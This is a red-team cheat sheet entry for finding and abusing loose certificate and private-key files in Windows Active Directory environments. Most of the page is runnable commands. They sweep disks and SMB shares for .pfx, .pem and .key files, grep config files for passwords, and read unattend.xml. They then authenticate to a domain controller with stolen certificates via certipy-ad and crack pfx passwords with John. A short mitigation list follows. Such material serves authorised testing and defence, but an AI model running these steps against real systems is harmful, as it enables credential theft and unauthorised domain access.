THEFT4 — Finding Certificate Files
Quick Reference
| Field | Value |
|---|---|
| Category | Credential Theft (file hunting) |
| Difficulty | Low |
| Pre-requisites | Read access to a filesystem / share |
| Tools | Seatbelt, PowerShell, findstr, Snaffler, Certify |
| OPSEC Noise | Low — read-only file discovery |
| One-liner | Hunt loose certificate and key files (.pfx .p12 .pem .key) left on disk, shares, and in config/unattend files, then authenticate with any that carry an auth EKU. |
What Is THEFT4?
No cryptography needed here. Admins and automation constantly leave certificate material lying around: exported .pfx backups, id_rsa-style key files, unattend.xml/sysprep blobs, IIS bindings, web-app config, and network-share dumps. THEFT4 is systematic file hunting for these artefacts.
Step 1 — Hunt Locally
# PowerShell — recursive search for common cert/key extensions
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue `
-Include *.pfx,*.p12,*.pem,*.key,*.crt,*.cer,*.p7b,*.pkcs12,*.jks,*.keystore 2>$null |
Select-Object FullName, Length, LastWriteTime:: cmd / findstr sweep
dir C:\ /s /b | findstr /i "\.pfx \.p12 \.pem \.key \.crt \.cer"
:: Credentials frequently embedded here
findstr /s /i "password" C:\*.xml C:\*.config 2>nul
type C:\Windows\Panther\unattend.xml# Seatbelt — dedicated modules
Seatbelt.exe Certificates
Seatbelt.exe InterestingFiles
# Certify — find cert files
Certify.exe find /filesStep 2 — Hunt Shares
# Snaffler (from a Windows foothold) — classifies findings, flags cert/key files
Snaffler.exe -s -o snaffler.log
# From Linux — spider readable shares with netexec, then grep
netexec smb $TARGET -u user -p pass -M spider_plusStep 3 — Triage & Authenticate
# Inspect what an unknown pfx contains (identity, EKU, expiry)
certipy-ad cert -pfx found.pfx -password '' -nokey -out /dev/stdout # peek
openssl pkcs12 -info -in found.pfx -nodes # or openssl
# If it has Client Auth / PKINIT EKU and a private key -> authenticate
certipy-ad auth -pfx found.pfx -dc-ip $TARGET[!tip] Password-protected pfx? Crack it with John:
pfx2john found.pfx > pfx.hash && john --wordlist=rockyou.txt pfx.hash. See john-cheatsheet (--format=pfx).
OPSEC Considerations
| Action | Artefact | Noise |
|---|---|---|
Recursive Get-ChildItem | high disk I/O, possible EDR heuristic | 🟡 Medium |
| Share spidering | SMB access logs on file servers | 🟡 Medium |
| Reading a file | file-audit events (if enabled) | 🟢 Low |
Mitigation
- Never store
.pfx/private keys on shares or in config/unattend files; use a secrets vault. - Scan the estate for stray key material (the same tools defenders can run).
- Password-protect and short-date any exported certs; rotate on exposure.
- Enable file-access auditing on sensitive shares.
See Also
- _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · john-cheatsheet
- Sources: SpecterOps Certified Pre-Owned; Seatbelt